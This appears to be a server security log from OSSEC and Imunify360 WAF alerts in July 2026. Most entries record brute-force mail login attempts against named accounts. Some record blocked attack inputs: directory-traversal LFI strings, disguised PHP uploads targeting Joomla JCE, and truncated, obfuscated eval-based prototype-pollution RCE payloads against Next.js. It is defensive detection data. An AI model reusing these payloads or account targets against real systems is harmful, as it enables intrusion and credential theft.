country_id: 2464461
description:
2026-07-13 01:11:41 dovecot_login authenticator failed for H=(testmft.sedgwick.com) [41.224.62.206]:39019: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-07-13 01:12:30 dovecot_login authenticator failed for H=([98.178.72.4]) [203.172.213.166]:47032: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.161
country_id: 337996
description:
2026-07-13 01:16:50 dovecot_login authenticator failed for H=([70.166.167.59]) [196.190.43.161]:33432: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-13 01:17:09 dovecot_login authenticator failed for H=(host-46-160-165-239.ugmk-telecom.ru) [101.13.4.124]:60216: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.137.230
country_id: 1269750
description:
2026-07-13 01:19:08 dovecot_login authenticator failed for H=(ipmapt-72-195-114-182.oc.oc.cox.net) [122.160.137.230]:46375: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-13 01:19:23 dovecot_login authenticator failed for H=(wsip-70-183-221-190.br.br.cox.net) [200.106.49.149]:53820: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-13 01:19:35 dovecot_login authenticator failed for H=([174.75.211.195]) [196.188.93.169]:3550: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-13 01:20:34 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [221.167.50.229]:48374: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-13 01:20:59 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [182.95.178.174]:43722: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.62.66.27
country_id: 241170
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:01-21.194.62.66.27||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-13 01:26:28 dovecot_login authenticator failed for H=(h79-138-90-195.cust.bredband2.com) [193.31.200.85]:45942: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-13 01:27:23 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net ([178.176.250.149]) [50.121.186.125]:59802: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.160.209.29
country_id: 1562822
description:
2026-07-13 01:27:37 dovecot_login authenticator failed for H=([49.124.152.225]) [113.160.209.29]:43216: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-13 01:28:52 dovecot_login authenticator failed for H=(203-196-42-114.static.dsl.net.au) [125.23.203.138]:44360: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-13 01:29:11 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([192.252.214.22]) [80.223.198.246]:56602: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-13 01:30:39 dovecot_login authenticator failed for H=([118.43.202.68]) [197.219.208.58]:50826: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-13 01:31:00 dovecot_login authenticator failed for H=([98.181.137.69]) [175.213.137.209]:53070: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.247.89.210
country_id: 953987
description:
2026-07-13 01:31:14 dovecot_login authenticator failed for H=([180.149.232.33]) [105.247.89.210]:49370: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-13 01:31:31 dovecot_login authenticator failed for H=([70.166.167.60]) [196.189.59.226]:44049: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-13 01:39:48 dovecot_login authenticator failed for H=([111.26.62.41]) [220.72.138.160]:15305: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-13 01:40:01 dovecot_login authenticator failed for H=([184.170.245.145]) [62.201.228.210]:47752: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-13 01:40:04 dovecot_login authenticator failed for H=([111.38.136.211]) [212.132.64.89]:52292: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.34.65.38
country_id: 1282988
description:
2026-07-13 01:39:34 dovecot_plain authenticator failed for H=(localhost) [27.34.65.38]:45449: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.53
country_id: 1668284
description:
2026-07-13 01:40:45 dovecot_login authenticator failed for H=111-70-38-53.emome-ip.hinet.net ([58.30.60.250]) [111.70.38.53]:58618: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-07-13 01:41:26 dovecot_login authenticator failed for H=([70.166.167.33]) [122.187.234.54]:54317: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-13 01:41:35 dovecot_login authenticator failed for H=(ip68-7-114-69.sd.sd.cox.net) [200.106.49.149]:38478: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.127.84
country_id: 6252001
description:
2026-07-13 01:41:21 dovecot_login authenticator failed for H=([85.93.45.33]) [74.196.127.84]:45146: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.107.161
country_id: 294640
description:
2026-07-13 01:45:40 dovecot_login authenticator failed for H=(h95-155-228-189.cust.bredband2.com) [46.210.107.161]:60446: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-13 01:45:24 dovecot_login authenticator failed for H=([149.54.40.94]) [218.159.144.187]:57058: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-13 01:45:37 dovecot_login authenticator failed for H=(187.058.067.17.static.host.gvt.net.br) [65.20.133.56]:44580: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.172
country_id: 1668284
description:
2026-07-13 01:46:11 dovecot_login authenticator failed for H=221-120-57-172.emome-ip.hinet.net ([192.252.220.90]) [221.120.57.172]:54170: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-13 01:46:34 dovecot_login authenticator failed for H=([49.124.149.26]) [117.205.2.250]:53099: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-13 01:46:20 dovecot_login authenticator failed for H=([49.124.153.46]) [65.191.211.33]:54218: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-13 01:46:57 dovecot_login authenticator failed for H=(85.105.2.51.static.ttnet.com.tr) [196.188.187.21]:59556: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77789665
abuser: 152.42.242.202
country_id: 1880251
domain: www.ibmcglobal.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../../tmp_1783887423_743557.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 104.131.194.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastazfqdmm.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 104.131.194.115
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:masta5477u4.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.161.164.24
country_id: 1562822
description:
2026-07-13 01:54:01 dovecot_login authenticator failed for H=(static.ill.61.2.228.177.bsnl.co.in) [113.161.164.24]:59132: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.232.211
country_id: 1269750
description:
2026-07-13 01:54:14 dovecot_login authenticator failed for H=([49.124.153.29]) [106.201.232.211]:60323: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: www.ahsmarine.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"__dc372efc\":\"init\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var ncfve=arguments[0x1];var jn=ncfve;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-13 01:59:04 dovecot_login authenticator failed for H=([192.252.220.90]) [101.13.6.91]:41517: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.53
country_id: 1668284
description:
2026-07-13 01:58:28 dovecot_login authenticator failed for H=111-70-38-53.emome-ip.hinet.net ([49.124.153.31]) [111.70.38.53]:35160: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.149
country_id: 1269750
description:
2026-07-13 02:00:03 dovecot_login authenticator failed for H=(nsg-corporate-149.229.187.122.airtel.in) [122.187.229.149]:46657: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.177
country_id: 1269750
description:
2026-07-13 01:59:26 dovecot_login authenticator failed for H=([122.187.230.177]) [122.187.230.177]:35760: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-13 02:06:06 dovecot_login authenticator failed for H=(91.156.207.178.in-addr.arpa) [182.78.86.62]:37816: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 78.138.14.34
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://Barudakwin.app/\">JUDI</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-07-13 02:15:10 dovecot_login authenticator failed for H=([183.236.75.189]) [24.104.225.201]:51398: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-13 02:17:41 dovecot_login authenticator failed for H=([88.215.1.201]) [71.12.241.225]:40676: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-13 02:20:41 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([182.31.35.187]) [121.6.81.59]:60461: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-13 02:20:42 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([192.111.139.161]) [208.96.233.67]:37890: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-13 02:20:23 dovecot_login authenticator failed for H=(wgpon-39181-194.wateen.net) [94.16.17.139]:54092: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.25
country_id: 1668284
description:
2026-07-13 02:21:13 dovecot_login authenticator failed for H=221-120-73-25.emome-ip.hinet.net (119247187188.ctinets.com) [221.120.73.25]:35848: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 188.119.13.22
country_id: 298795
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcel44w43sx.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-13 02:22:12 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [171.244.60.35]:26362: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-13 02:22:01 dovecot_login authenticator failed for H=([111.53.189.3]) [119.192.249.195]:45932: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-13 02:22:50 dovecot_login authenticator failed for H=([1.240.101.2]) [59.12.212.38]:40514: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: www.ahsmarine.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"x_4eaccf77\":\"fb136ef3479ccc5d\",\"x_fcf65f5b\":\"7421\",\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"$65f0c386\":\"7415a965c9a7a32f\",\"data_71006c00\":\"rejected\",\"ns_87beb43d\":\"5977\",\"reason\":-1,\"_response\":{\"_prefix\":\"var mz=[].slice.call(arguments,1)[0];var es=mz;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.175.180.147
country_id: 6252001
description:
2026-07-13 02:26:45 dovecot_login authenticator failed for H=wsip-70-175-180-147.pn.at.cox.net ([94.205.250.78]) [70.175.180.147]:35923: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-13 02:27:20 dovecot_login authenticator failed for H=([65.20.217.64]) [140.130.98.240]:37757: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-13 02:29:16 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee (78-66-45-101-no2550.tbcn.telia.com) [83.166.50.15]:56486: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-13 02:36:03 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [180.71.9.31]:53846: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-13 02:35:45 dovecot_login authenticator failed for H=([222.175.187.214]) [136.56.34.147]:59852: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-13 02:37:59 dovecot_login authenticator failed for H=(177-174-108-1.user.vivozap.com.br) [206.62.136.130]:32897: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-13 02:38:12 dovecot_login authenticator failed for H=([154.146.238.122]) [13.68.214.34]:60226: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.234.33
country_id: 1835841
description:
2026-07-13 02:37:46 dovecot_login authenticator failed for H=([196.188.187.205]) [112.164.234.33]:59074: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-13 02:37:58 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([110.45.150.219]) [90.230.115.5]:39682: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.211.190
country_id: 3017382
domain: gsmex.global
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:gsmex||


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceq810vb09.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://finance.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: www.idealloanz.com.au
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"x_985db387\":\"98904ef45fb760cb\",\"ns_24e4978e\":\"default\",\"status\":\"resolved_model\",\"x_bf1abe75\":\"pending\",\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"__a7b2f70a\":[],\"_response\":{\"_prefix\":\"var himni=arguments['\\\\x31'];var gc=himni;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-13 03:01:21 dovecot_login authenticator failed for H=([151.0.154.194]) [65.20.146.109]:51989: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.244.3
country_id: 1269750
description:
2026-07-13 03:01:29 dovecot_login authenticator failed for H=([182.132.164.178]) [163.223.244.3]:41990: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.53.254.168
country_id: 6252001
description:
2026-07-13 03:01:44 dovecot_plain authenticator failed for H=c-73-53-254-168.hsd1.fl.comcast.net (quiens) [73.53.254.168]:35174: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-13 03:02:00 dovecot_login authenticator failed for H=([183.223.156.154]) [125.138.166.217]:56012: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.83.9.140
country_id: 1694008
description:
2026-07-13 03:02:10 dovecot_login authenticator failed for H=([76.49.199.97]) [124.83.9.140]:54141: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.45
country_id: 1733045
description:
2026-07-13 03:02:36 dovecot_login authenticator failed for H=(203-221-144-203.tpgi.com.au) [49.124.151.45]:37490: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.238.227.113
country_id: 6252001
description:
2026-07-13 03:06:14 dovecot_plain authenticator failed for H=c-98-238-227-113.hsd1.ca.comcast.net (unfely) [98.238.227.113]:47842: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.219.75.143
country_id: 357994
description:
2026-07-13 03:06:40 dovecot_login authenticator failed for H=([72.207.109.1]) [196.219.75.143]:46404: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-07-13 03:06:57 dovecot_login authenticator failed for H=([213.186.233.10]) [122.169.207.93]:7240: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.210
country_id: 99237
description:
2026-07-13 03:11:10 dovecot_plain authenticator failed for H=(inosisk) [65.20.191.210]:42420: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-13 03:15:49 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([65.20.163.103]) [94.255.255.26]:58346: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-13 03:16:01 dovecot_login authenticator failed for H=([192.111.143.93]) [106.201.237.208]:39912: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-13 03:15:25 dovecot_login authenticator failed for H=([49.124.154.170]) [175.200.217.128]:38688: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-13 03:16:25 dovecot_login authenticator failed for H=([101.13.5.55]) [59.6.72.106]:22918: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-13 03:18:06 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp (nsg-corporate-110.116.187.122.airtel.in) [218.219.193.151]:56374: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-13 03:18:25 dovecot_login authenticator failed for H=(187-8-89-120.customer.tdatabrasil.net.br) [2.59.162.146]:58260: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.66.70.156
country_id: 3996063
description:
2026-07-13 03:20:27 dovecot_plain authenticator failed for H=(visalks) [200.66.70.156]:37607: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-07-13 03:37:15 dovecot_plain authenticator failed for H=(ophies) [154.144.243.93]:55730: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.249.252.237
country_id: 1861060
description:
2026-07-13 03:37:12 dovecot_plain authenticator failed for H=fs96f9fced.tkyc203.ap.nuro.jp (chined) [150.249.252.237]:34736: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-13 03:40:17 dovecot_login authenticator failed for H=([67.201.38.131]) [210.206.24.237]:44133: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-13 03:40:51 dovecot_login authenticator failed for H=([31.173.67.115]) [13.68.214.34]:36982: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-13 03:42:57 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net (aes-static-102.79.144.59.airtel.in) [111.70.33.194]:37792: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.150.87.223
country_id: 1522867
description:
2026-07-13 03:42:25 dovecot_login authenticator failed for H=37.150.87.223.dynamic.telecom.kz ([106.1.10.110]) [37.150.87.223]:45879: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-13 03:42:30 dovecot_login authenticator failed for H=(110-25-105-240.adsl.fetnet.net) [184.57.39.170]:57071: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-07-13 03:42:46 dovecot_login authenticator failed for H=mail.sotus.co.th ([49.124.151.69]) [171.100.156.38]:43509: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-13 03:43:27 dovecot_login authenticator failed for H=([196.207.177.56]) [181.56.174.63]:33558: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-13 03:44:45 dovecot_login authenticator failed for H=([194.31.8.12]) [196.188.187.21]:39700: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-13 03:44:57 dovecot_login authenticator failed for H=([178.170.221.148]) [196.191.142.67]:59658: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-13 03:48:45 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net ([147.148.205.252]) [200.105.141.172]:54020: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.247.46
country_id: 2077456
description:
2026-07-13 03:48:23 dovecot_login authenticator failed for H=27-33-247-46.tpgi.com.au ([185.65.238.251]) [27.33.247.46]:52253: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
